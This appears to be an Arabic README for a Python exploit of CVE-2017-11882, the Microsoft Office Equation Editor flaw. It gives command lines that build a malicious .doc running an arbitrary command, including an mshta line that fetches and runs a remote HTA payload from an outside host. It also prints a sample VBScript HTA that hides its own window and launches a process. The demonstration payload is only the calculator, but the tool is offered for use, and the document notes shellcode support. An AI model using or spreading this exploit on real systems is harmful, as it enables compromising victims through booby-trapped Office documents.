
استغلال بايثون لـ CVE-2017-11882 (ثغرة محرر معادلات MS Office) مع حقن الأوامر وتوصيل الحمولة عن بُعد عبر mshta، ويدعم تنفيذ shellcode.
43b النص الأصلي من https://github.com/embedi/CVE-2017-11882
109b النص الأصلي من https://github.com/unamer/CVE-2017-11882/ (تحية، الآن كود unamer يمكنه تنفيذ shellcode~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
بحث: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
تحليل التصحيح: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
عرض استغلال PoC: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
استخدام mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
لا يمكن أن يتجاوز طول الأمر 43 بايت لـ 43b، و109 بايت لـ 109b
المجلد example يحتوي على ملف .rtf يستغل ثغرة CVE-2017-11882 ويشغل الآلة الحاسبة في النظام.